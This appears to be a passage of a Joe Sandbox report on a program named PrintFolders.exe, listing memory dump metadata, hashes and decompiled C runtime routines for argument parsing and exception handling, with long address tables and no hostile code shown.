                                                          0x0041a34c
                                                          0x0041a34f
                                                          0x0041a351
                                                          0x0041a358
                                                          0x0041a358
                                                          0x0041a35a
                                                          0x0041a35d
                                                          0x0041a360
                                                          0x0041a367
                                                          0x0041a380
                                                          0x0041a385
                                                          0x0041a387
                                                          0x0041a3a8
                                                          0x0041a3b0
                                                          0x0041a3b3
                                                          0x0041a3ce
                                                          0x0041a3d1
                                                          0x0041a3d8
                                                          0x0041a3dc
                                                          0x0041a3de
                                                          0x0041a3e5
                                                          0x0041a3e8
                                                          0x0041a3ea
                                                          0x0041a3ec
                                                          0x0041a3ee
                                                          0x0041a3f8
                                                          0x0041a3f8
                                                          0x0041a3fa
                                                          0x0041a400
                                                          0x0041a403
                                                          0x0041a405
                                                          0x0041a40b
                                                          0x0041a40c
                                                          0x0041a412
                                                          0x0041a415
                                                          0x0041a416
                                                          0x0041a41c
                                                          0x0041a41f
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041a3f0
                                                          0x0041a3f0
                                                          0x0041a3f0
                                                          0x0041a3f3
                                                          0x0041a3f4
                                                          0x0041a3f4
                                                          0x00000000
                                                          0x0041a3f0
                                                          0x0041a3e0
                                                          0x00000000
                                                          0x0041a3e0
                                                          0x0041a3b8
                                                          0x0041a3b8
                                                          0x0041a3b9
                                                          0x0041a3be
                                                          0x0041a3c0
                                                          0x0041a3c2
                                                          0x0041a3c7
                                                          0x0041a3c7
                                                          0x00000000
                                                          0x0041a3c7
                                                          0x0041a389
                                                          0x0041a38e
                                                          0x0041a390
                                                          0x0041a391
                                                          0x00000000
                                                          0x0041a391
                                                          0x0041a353
                                                          0x0041a356
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041a356
                                                          0x0041a30a
                                                          0x0041a30d
                                                          0x00000000
                                                          0x00000000
                                                          0x0041a30f
                                                          0x0041a316
                                                          0x0041a317
                                                          0x0041a319
                                                          0x0041a31e
                                                          0x00000000
                                                          0x0041a31e
                                                          0x00000000

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                          • API String ID: 0-2080567260
                                                          • Opcode ID: 0e731db7584ad60d578d779bbaf5b01c679ed323d4b1edda6f57c3d6e2435286
                                                          • Instruction ID: b8ab9d9bf59b97dbdceff1942ea396bbaab855526052e627d1082f7e5706c01d
                                                          • Opcode Fuzzy Hash: 0e731db7584ad60d578d779bbaf5b01c679ed323d4b1edda6f57c3d6e2435286
                                                          • Instruction Fuzzy Hash: C041B671A01218AFCB16DF9ADC85ADFBBB8EB85314F10016BF81097341D7789A91CB5A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 90%
                                                          			E10006DF4(void* __edx, intOrPtr _a4) {
                                                          				signed int _v8;
                                                          				void* _v12;
                                                          				char _v16;
                                                          				char* _v20;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				char* _t26;
                                                          				intOrPtr* _t36;
                                                          				signed int _t37;
                                                          				signed int _t40;
                                                          				char _t42;
                                                          				signed int _t43;
                                                          				intOrPtr* _t44;
                                                          				intOrPtr* _t45;
                                                          				intOrPtr _t48;
                                                          				signed int _t49;
                                                          				signed int _t54;
                                                          				void* _t57;
                                                          				intOrPtr* _t58;
                                                          				void* _t59;
                                                          				signed int _t64;
                                                          				signed int _t66;
                                                          
                                                          				_t57 = __edx;
                                                          				_t48 = _a4;
                                                          				if(_t48 != 0) {
                                                          					__eflags = _t48 - 2;
                                                          					if(_t48 == 2) {
                                                          						L5:
                                                          						_push(_t59);
                                                          						E1000A0E5(_t48, _t59);
                                                          						E10009B2C(_t48, _t57, 0, 0x10017d98, 0, 0x10017d98, 0x104);
                                                          						_t26 =  *0x10018338; // 0x14134e8
                                                          						 *0x10018328 = 0x10017d98;
                                                          						_v20 = _t26;
                                                          						__eflags = _t26;
                                                          						if(_t26 == 0) {
                                                          							L7:
                                                          							_t26 = 0x10017d98;
                                                          							_v20 = 0x10017d98;
                                                          							L8:
                                                          							_v8 = 0;
                                                          							_v16 = 0;
                                                          							_t64 = E1000709E(E10006F2A( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
                                                          							__eflags = _t64;
                                                          							if(__eflags != 0) {
                                                          								E10006F2A( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
                                                          								__eflags = _t48 - 1;
                                                          								if(_t48 != 1) {
                                                          									_v12 = 0;
                                                          									_push( &_v12);
                                                          									_t49 = E10009A1F(_t64, _t64);
                                                          									__eflags = _t49;
                                                          									if(_t49 == 0) {
                                                          										_t58 = _v12;
                                                          										_t54 = 0;
                                                          										_t36 = _t58;
                                                          										__eflags =  *_t58;
                                                          										if( *_t58 == 0) {
                                                          											L17:
                                                          											_t37 = 0;
                                                          											 *0x1001832c = _t54;
                                                          											_v12 = 0;
                                                          											_t49 = 0;
                                                          											 *0x10018330 = _t58;
                                                          											L18:
                                                          											E10008701(_t37);
                                                          											_v12 = 0;
                                                          											L19:
                                                          											E10008701(_t64);
                                                          											_t40 = _t49;
                                                          											L20:
                                                          											return _t40;
                                                          										} else {
                                                          											goto L16;
                                                          										}
                                                          										do {
                                                          											L16:
                                                          											_t36 = _t36 + 4;
                                                          											_t54 = _t54 + 1;
                                                          											__eflags =  *_t36;
                                                          										} while ( *_t36 != 0);
                                                          										goto L17;
                                                          									}
                                                          									_t37 = _v12;
                                                          									goto L18;
                                                          								}
                                                          								_t42 = _v8 - 1;
                                                          								__eflags = _t42;
                                                          								 *0x1001832c = _t42;
                                                          								_t43 = _t64;
                                                          								_t64 = 0;
                                                          								 *0x10018330 = _t43;
                                                          								L12:
                                                          								_t49 = 0;
                                                          								goto L19;
                                                          							}
                                                          							_t44 = E10006406(__eflags);
                                                          							_push(0xc);
                                                          							_pop(0);
                                                          							 *_t44 = 0;
                                                          							goto L12;
                                                          						}
                                                          						__eflags =  *_t26;
                                                          						if( *_t26 != 0) {
                                                          							goto L8;
                                                          						}
                                                          						goto L7;
                                                          					}
                                                          					__eflags = _t48 - 1;
                                                          					if(__eflags == 0) {
                                                          						goto L5;
                                                          					}
                                                          					_t45 = E10006406(__eflags);
                                                          					_t66 = 0x16;
                                                          					 *_t45 = _t66;
                                                          					E1000632C();
                                                          					_t40 = _t66;
                                                          					goto L20;
                                                          				}
                                                          				return 0;
                                                          			}



























                                                          0x10006df4
                                                          0x10006dfd
                                                          0x10006e02
                                                          0x10006e0c
                                                          0x10006e0f
                                                          0x10006e2c
                                                          0x10006e2c
                                                          0x10006e2d
                                                          0x10006e40
                                                          0x10006e45
                                                          0x10006e4d
                                                          0x10006e53
                                                          0x10006e56
                                                          0x10006e58
                                                          0x10006e5f
                                                          0x10006e5f
                                                          0x10006e61
                                                          0x10006e64
                                                          0x10006e67
                                                          0x10006e6e
                                                          0x10006e87
                                                          0x10006e8c
                                                          0x10006e8e
                                                          0x10006eaf
                                                          0x10006eb7
                                                          0x10006eba
                                                          0x10006ed5
                                                          0x10006ed8
                                                          0x10006edf
                                                          0x10006ee3
                                                          0x10006ee5
                                                          0x10006eec
                                                          0x10006eef
                                                          0x10006ef1
                                                          0x10006ef3
                                                          0x10006ef5
                                                          0x10006eff
                                                          0x10006eff
                                                          0x10006f01
                                                          0x10006f07
                                                          0x10006f0a
                                                          0x10006f0c
                                                          0x10006f12
                                                          0x10006f13
                                                          0x10006f19
                                                          0x10006f1c
                                                          0x10006f1d
                                                          0x10006f23
                                                          0x10006f26
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10006ef7
                                                          0x10006ef7
                                                          0x10006ef7
                                                          0x10006efa
                                                          0x10006efb
                                                          0x10006efb
                                                          0x00000000
                                                          0x10006ef7
                                                          0x10006ee7
                                                          0x00000000
                                                          0x10006ee7
                                                          0x10006ebf
                                                          0x10006ebf
                                                          0x10006ec0
                                                          0x10006ec5
                                                          0x10006ec7
                                                          0x10006ec9
                                                          0x10006ece
                                                          0x10006ece
                                                          0x00000000
                                                          0x10006ece
                                                          0x10006e90
                                                          0x10006e95
                                                          0x10006e97
                                                          0x10006e98
                                                          0x00000000
                                                          0x10006e98
                                                          0x10006e5a
                                                          0x10006e5d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10006e5d
                                                          0x10006e11
                                                          0x10006e14
                                                          0x00000000
                                                          0x00000000
                                                          0x10006e16
                                                          0x10006e1d
                                                          0x10006e1e
                                                          0x10006e20
                                                          0x10006e25
                                                          0x00000000
                                                          0x10006e25
                                                          0x00000000

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                          • API String ID: 0-2080567260
                                                          • Opcode ID: 1ece5218b2422689d95aac8363c4354a6b0412c233e2753c981cf0bd8d1cf806
                                                          • Instruction ID: 646097fc6b5d669f55448d5f467022a3e50ec9bcd71d7e0a9af30093925523d1
                                                          • Opcode Fuzzy Hash: 1ece5218b2422689d95aac8363c4354a6b0412c233e2753c981cf0bd8d1cf806
                                                          • Instruction Fuzzy Hash: 8A41AF79E00295AFEB21CB99DC8199EBBFAEB897D0B304066F90497205D7719F41CB50
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 69%
                                                          			E004124BC(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				intOrPtr* _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				intOrPtr _v28;
                                                          				signed int _v36;
                                                          				void* _v40;
                                                          				intOrPtr _v44;
                                                          				signed int _v48;
                                                          				intOrPtr _v56;
                                                          				void _v60;
                                                          				signed char* _v68;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t74;
                                                          				void* _t75;
                                                          				char _t76;
                                                          				signed char _t78;
                                                          				signed int _t80;
                                                          				signed char* _t81;
                                                          				signed int _t82;
                                                          				signed int _t83;
                                                          				intOrPtr* _t87;
                                                          				void* _t90;
                                                          				signed char* _t93;
                                                          				intOrPtr* _t96;
                                                          				signed char _t97;
                                                          				intOrPtr _t98;
                                                          				intOrPtr _t99;
                                                          				intOrPtr* _t101;
                                                          				signed int _t102;
                                                          				signed int _t103;
                                                          				signed char _t108;
                                                          				signed char* _t111;
                                                          				signed int _t112;
                                                          				void* _t113;
                                                          				signed char* _t116;
                                                          				void* _t121;
                                                          				signed int _t123;
                                                          				void* _t130;
                                                          				void* _t131;
                                                          
                                                          				_t110 = __edx;
                                                          				_t100 = __ecx;
                                                          				_t96 = _a4;
                                                          				if( *_t96 == 0x80000003) {
                                                          					return _t74;
                                                          				} else {
                                                          					_t75 = E00411D96(_t96, __ecx, __edx, _t113, _t121, _t113, _t121);
                                                          					if( *((intOrPtr*)(_t75 + 8)) != 0) {
                                                          						__imp__EncodePointer(0);
                                                          						_t121 = _t75;
                                                          						if( *((intOrPtr*)(E00411D96(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
                                                          							_t87 = E0040FC88(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
                                                          							_t130 = _t130 + 0x1c;
                                                          							if(_t87 != 0) {
                                                          								L16:
                                                          								return _t87;
                                                          							}
                                                          						}
                                                          					}
                                                          					_t76 = _a20;
                                                          					_v24 = _t76;
                                                          					_v20 = 0;
                                                          					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
                                                          						_push(_a28);
                                                          						E0040FBBB(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
                                                          						_t112 = _v36;
                                                          						_t131 = _t130 + 0x18;
                                                          						_t87 = _v40;
                                                          						_v16 = _t87;
                                                          						_v8 = _t112;
                                                          						if(_t112 < _v28) {
                                                          							_t102 = _t112 * 0x14;
                                                          							_v12 = _t102;
                                                          							do {
                                                          								_t103 = 5;
                                                          								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
                                                          								_t131 = _t131 + 0xc;
                                                          								if(_v60 <= _t90 && _t90 <= _v56) {
                                                          									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
                                                          									_t108 = _t93[4];
                                                          									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
                                                          										if(( *_t93 & 0x00000040) == 0) {
                                                          											_push(0);
                                                          											_push(1);
                                                          											E00412092(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
                                                          											_t112 = _v8;
                                                          											_t131 = _t131 + 0x30;
                                                          										}
                                                          									}
                                                          								}
                                                          								_t112 = _t112 + 1;
                                                          								_t87 = _v16;
                                                          								_t102 = _v12 + 0x14;
                                                          								_v8 = _t112;
                                                          								_v12 = _t102;
                                                          							} while (_t112 < _v28);
                                                          						}
                                                          						goto L16;
                                                          					}
                                                          					E00419C49(_t96, _t100, _t110, 0, _t121);
                                                          					asm("int3");
                                                          					_t111 = _v68;
                                                          					_push(_t96);
                                                          					_push(_t121);
                                                          					_push(0);
                                                          					_t78 = _t111[4];
                                                          					if(_t78 == 0) {
                                                          						L41:
                                                          						_t80 = 1;
                                                          					} else {
                                                          						_t101 = _t78 + 8;
                                                          						if( *_t101 == 0) {
                                                          							goto L41;
                                                          						} else {
                                                          							_t116 = _a4;
                                                          							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
                                                          								_t97 = _t116[4];
                                                          								_t123 = 0;
                                                          								if(_t78 == _t97) {
                                                          									L33:
                                                          									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
                                                          										_t81 = _a8;
                                                          										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
                                                          											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
                                                          												_t123 = 1;
                                                          											}
                                                          										}
                                                          									}
                                                          									_t80 = _t123;
                                                          								} else {
                                                          									_t59 = _t97 + 8; // 0x6e
                                                          									_t82 = _t59;
                                                          									while(1) {
                                                          										_t98 =  *_t101;
                                                          										if(_t98 !=  *_t82) {
                                                          											break;
                                                          										}
                                                          										if(_t98 == 0) {
                                                          											L29:
                                                          											_t83 = _t123;
                                                          										} else {
                                                          											_t99 =  *((intOrPtr*)(_t101 + 1));
                                                          											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
                                                          												break;
                                                          											} else {
                                                          												_t101 = _t101 + 2;
                                                          												_t82 = _t82 + 2;
                                                          												if(_t99 != 0) {
                                                          													continue;
                                                          												} else {
                                                          													goto L29;
                                                          												}
                                                          											}
                                                          										}
                                                          										L31:
                                                          										if(_t83 == 0) {
                                                          											goto L33;
                                                          										} else {
                                                          											_t80 = 0;
                                                          										}
                                                          										goto L42;
                                                          									}
                                                          									asm("sbb eax, eax");
                                                          									_t83 = _t82 | 0x00000001;
                                                          									goto L31;
                                                          								}
                                                          							} else {
                                                          								goto L41;
                                                          							}
                                                          						}
                                                          					}
                                                          					L42:
                                                          					return _t80;
                                                          				}
                                                          			}















































                                                          0x004124bc
                                                          0x004124bc
                                                          0x004124c3
                                                          0x004124cc
                                                          0x004125eb
                                                          0x004124d2
                                                          0x004124d4
                                                          0x004124de
                                                          0x004124e1
                                                          0x004124e7
                                                          0x004124f1
                                                          0x00412516
                                                          0x0041251b
                                                          0x00412520
                                                          0x004125e7
                                                          0x00000000
                                                          0x004125e8
                                                          0x00412520
                                                          0x004124f1
                                                          0x00412526
                                                          0x00412529
                                                          0x0041252c
                                                          0x00412532
                                                          0x00412538
                                                          0x0041254a
                                                          0x0041254f
                                                          0x00412552
                                                          0x00412555
                                                          0x00412558
                                                          0x0041255b
                                                          0x00412561
                                                          0x00412567
                                                          0x0041256a
                                                          0x0041256d
                                                          0x0041257c
                                                          0x0041257d
                                                          0x0041257d
                                                          0x00412582
                                                          0x00412595
                                                          0x00412597
                                                          0x0041259c
                                                          0x004125a7
                                                          0x004125a9
                                                          0x004125ab
                                                          0x004125c7
                                                          0x004125cc
                                                          0x004125cf
                                                          0x004125cf
                                                          0x004125a7
                                                          0x0041259c
                                                          0x004125d5
                                                          0x004125d6
                                                          0x004125d9
                                                          0x004125dc
                                                          0x004125df
                                                          0x004125e2
                                                          0x0041256d
                                                          0x00000000
                                                          0x00412561
                                                          0x004125ec
                                                          0x004125f1
                                                          0x004125f5
                                                          0x004125f8
                                                          0x004125f9
                                                          0x004125fa
                                                          0x004125fb
                                                          0x00412600
                                                          0x00412678
                                                          0x0041267a
                                                          0x00412602
                                                          0x00412602
                                                          0x00412608
                                                          0x00000000
                                                          0x0041260a
                                                          0x0041260d
                                                          0x00412610
                                                          0x00412617
                                                          0x0041261a
                                                          0x0041261e
                                                          0x00412650
                                                          0x00412653
                                                          0x0041265a
                                                          0x00412660
                                                          0x0041266a
                                                          0x00412673
                                                          0x00412673
                                                          0x0041266a
                                                          0x00412660
                                                          0x00412674
                                                          0x00412620
                                                          0x00412620
                                                          0x00412620
                                                          0x00412623
                                                          0x00412623
                                                          0x00412627
                                                          0x00000000
                                                          0x00000000
                                                          0x0041262b
                                                          0x0041263f
                                                          0x0041263f
                                                          0x0041262d
                                                          0x0041262d
                                                          0x00412633
                                                          0x00000000
                                                          0x00412635
                                                          0x00412635
                                                          0x00412638
                                                          0x0041263d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041263d
                                                          0x00412633
                                                          0x00412648
                                                          0x0041264a
                                                          0x00000000
                                                          0x0041264c
                                                          0x0041264c
                                                          0x0041264c
                                                          0x00000000
                                                          0x0041264a
                                                          0x00412643
                                                          0x00412645
                                                          0x00000000
                                                          0x00412645
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00412610
                                                          0x00412608
                                                          0x0041267b
                                                          0x0041267f
                                                          0x0041267f

                                                          APIs
                                                          • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 004124E1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: EncodePointer
                                                          • String ID: MOC$RCC
                                                          • API String ID: 2118026453-2084237596
                                                          • Opcode ID: 188dd02d7599aa30b8f70c009784331bdac1aa484947d381b84c6db6c6d716c1
                                                          • Instruction ID: ad6c17696073472ca42aa8dfa0ec8590c08af3ebdb16e25686bd643ee096a47e
                                                          • Opcode Fuzzy Hash: 188dd02d7599aa30b8f70c009784331bdac1aa484947d381b84c6db6c6d716c1
                                                          • Instruction Fuzzy Hash: 2A416A71900109BFCF16DF94CE91AEEBBB6FF48304F18806AF905A7251D3799AA0DB54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 58%
                                                          			E10004FCB(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				intOrPtr* _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				intOrPtr _v28;
                                                          				signed int _v36;
                                                          				void* _v40;
                                                          				intOrPtr _v44;
                                                          				signed int _v48;
                                                          				intOrPtr _v56;
                                                          				void _v60;
                                                          				signed char* _v68;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t74;
                                                          				void* _t75;
                                                          				char _t76;
                                                          				signed char _t78;
                                                          				signed int _t80;
                                                          				signed char* _t81;
                                                          				signed int _t82;
                                                          				signed int _t83;
                                                          				intOrPtr* _t87;
                                                          				void* _t90;
                                                          				signed char* _t93;
                                                          				intOrPtr* _t96;
                                                          				signed char _t97;
                                                          				intOrPtr _t98;
                                                          				intOrPtr _t99;
                                                          				intOrPtr* _t101;
                                                          				signed int _t102;
                                                          				signed int _t103;
                                                          				signed char _t108;
                                                          				signed char* _t111;
                                                          				signed int _t112;
                                                          				void* _t113;
                                                          				signed char* _t116;
                                                          				void* _t121;
                                                          				signed int _t123;
                                                          				void* _t130;
                                                          				void* _t131;
                                                          
                                                          				_t110 = __edx;
                                                          				_t100 = __ecx;
                                                          				_t96 = _a4;
                                                          				if( *_t96 == 0x80000003) {
                                                          					return _t74;
                                                          				} else {
                                                          					_push(_t121);
                                                          					_push(_t113);
                                                          					_t75 = E100048DC(_t96, __ecx, __edx, _t113, _t121);
                                                          					if( *((intOrPtr*)(_t75 + 8)) != 0) {
                                                          						__imp__EncodePointer(0);
                                                          						_t121 = _t75;
                                                          						if( *((intOrPtr*)(E100048DC(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
                                                          							_t87 = E10003F46(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
                                                          							_t130 = _t130 + 0x1c;
                                                          							if(_t87 != 0) {
                                                          								L16:
                                                          								return _t87;
                                                          							}
                                                          						}
                                                          					}
                                                          					_t76 = _a20;
                                                          					_v24 = _t76;
                                                          					_v20 = 0;
                                                          					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
                                                          						_push(_a28);
                                                          						E10003E79(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
                                                          						_t112 = _v36;
                                                          						_t131 = _t130 + 0x18;
                                                          						_t87 = _v40;
                                                          						_v16 = _t87;
                                                          						_v8 = _t112;
                                                          						if(_t112 < _v28) {
                                                          							_t102 = _t112 * 0x14;
                                                          							_v12 = _t102;
                                                          							do {
                                                          								_t103 = 5;
                                                          								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
                                                          								_t131 = _t131 + 0xc;
                                                          								if(_v60 <= _t90 && _t90 <= _v56) {
                                                          									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
                                                          									_t108 = _t93[4];
                                                          									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
                                                          										if(( *_t93 & 0x00000040) == 0) {
                                                          											_push(0);
                                                          											_push(1);
                                                          											E10004BA1(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
                                                          											_t112 = _v8;
                                                          											_t131 = _t131 + 0x30;
                                                          										}
                                                          									}
                                                          								}
                                                          								_t112 = _t112 + 1;
                                                          								_t87 = _v16;
                                                          								_t102 = _v12 + 0x14;
                                                          								_v8 = _t112;
                                                          								_v12 = _t102;
                                                          							} while (_t112 < _v28);
                                                          						}
                                                          						goto L16;
                                                          					}
                                                          					E100076E4(_t96, _t100, _t110, 0, _t121);
                                                          					asm("int3");
                                                          					_t111 = _v68;
                                                          					_push(_t96);
                                                          					_push(_t121);
                                                          					_push(0);
                                                          					_t78 = _t111[4];
                                                          					if(_t78 == 0) {
                                                          						L41:
                                                          						_t80 = 1;
                                                          					} else {
                                                          						_t101 = _t78 + 8;
                                                          						if( *_t101 == 0) {
                                                          							goto L41;
                                                          						} else {
                                                          							_t116 = _a4;
                                                          							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
                                                          								_t97 = _t116[4];
                                                          								_t123 = 0;
                                                          								if(_t78 == _t97) {
                                                          									L33:
                                                          									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
                                                          										_t81 = _a8;
                                                          										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
                                                          											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
                                                          												_t123 = 1;
                                                          											}
                                                          										}
                                                          									}
                                                          									_t80 = _t123;
                                                          								} else {
                                                          									_t59 = _t97 + 8; // 0x6e
                                                          									_t82 = _t59;
                                                          									while(1) {
                                                          										_t98 =  *_t101;
                                                          										if(_t98 !=  *_t82) {
                                                          											break;
                                                          										}
                                                          										if(_t98 == 0) {
                                                          											L29:
                                                          											_t83 = _t123;
                                                          										} else {
                                                          											_t99 =  *((intOrPtr*)(_t101 + 1));
                                                          											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
                                                          												break;
                                                          											} else {
                                                          												_t101 = _t101 + 2;
                                                          												_t82 = _t82 + 2;
                                                          												if(_t99 != 0) {
                                                          													continue;
                                                          												} else {
                                                          													goto L29;
                                                          												}
                                                          											}
                                                          										}
                                                          										L31:
                                                          										if(_t83 == 0) {
                                                          											goto L33;
                                                          										} else {
                                                          											_t80 = 0;
                                                          										}
                                                          										goto L42;
                                                          									}
                                                          									asm("sbb eax, eax");
                                                          									_t83 = _t82 | 0x00000001;
                                                          									goto L31;
                                                          								}
                                                          							} else {
                                                          								goto L41;
                                                          							}
                                                          						}
                                                          					}
                                                          					L42:
                                                          					return _t80;
                                                          				}
                                                          			}















































                                                          0x10004fcb
                                                          0x10004fcb
                                                          0x10004fd2
                                                          0x10004fdb
                                                          0x100050fa
                                                          0x10004fe1
                                                          0x10004fe1
                                                          0x10004fe2
                                                          0x10004fe3
                                                          0x10004fed
                                                          0x10004ff0
                                                          0x10004ff6
                                                          0x10005000
                                                          0x10005025
                                                          0x1000502a
                                                          0x1000502f
                                                          0x100050f6
                                                          0x00000000
                                                          0x100050f7
                                                          0x1000502f
                                                          0x10005000
                                                          0x10005035
                                                          0x10005038
                                                          0x1000503b
                                                          0x10005041
                                                          0x10005047
                                                          0x10005059
                                                          0x1000505e
                                                          0x10005061
                                                          0x10005064
                                                          0x10005067
                                                          0x1000506a
                                                          0x10005070
                                                          0x10005076
                                                          0x10005079
                                                          0x1000507c
                                                          0x1000508b
                                                          0x1000508c
                                                          0x1000508c
                                                          0x10005091
                                                          0x100050a4
                                                          0x100050a6
                                                          0x100050ab
                                                          0x100050b6
                                                          0x100050b8
                                                          0x100050ba
                                                          0x100050d6
                                                          0x100050db
                                                          0x100050de
                                                          0x100050de
                                                          0x100050b6
                                                          0x100050ab
                                                          0x100050e4
                                                          0x100050e5
                                                          0x100050e8
                                                          0x100050eb
                                                          0x100050ee
                                                          0x100050f1
                                                          0x1000507c
                                                          0x00000000
                                                          0x10005070
                                                          0x100050fb
                                                          0x10005100
                                                          0x10005104
                                                          0x10005107
                                                          0x10005108
                                                          0x10005109
                                                          0x1000510a
                                                          0x1000510f
                                                          0x10005187
                                                          0x10005189
                                                          0x10005111
                                                          0x10005111
                                                          0x10005117
                                                          0x00000000
                                                          0x10005119
                                                          0x1000511c
                                                          0x1000511f
                                                          0x10005126
                                                          0x10005129
                                                          0x1000512d
                                                          0x1000515f
                                                          0x10005162
                                                          0x10005169
                                                          0x1000516f
                                                          0x10005179
                                                          0x10005182
                                                          0x10005182
                                                          0x10005179
                                                          0x1000516f
                                                          0x10005183
                                                          0x1000512f
                                                          0x1000512f
                                                          0x1000512f
                                                          0x10005132
                                                          0x10005132
                                                          0x10005136
                                                          0x00000000
                                                          0x00000000
                                                          0x1000513a
                                                          0x1000514e
                                                          0x1000514e
                                                          0x1000513c
                                                          0x1000513c
                                                          0x10005142
                                                          0x00000000
                                                          0x10005144
                                                          0x10005144
                                                          0x10005147
                                                          0x1000514c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000514c
                                                          0x10005142
                                                          0x10005157
                                                          0x10005159
                                                          0x00000000
                                                          0x1000515b
                                                          0x1000515b
                                                          0x1000515b
                                                          0x00000000
                                                          0x10005159
                                                          0x10005152
                                                          0x10005154
                                                          0x00000000
                                                          0x10005154
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000511f
                                                          0x10005117
                                                          0x1000518a
                                                          0x1000518e
                                                          0x1000518e

                                                          APIs
                                                          • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 10004FF0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
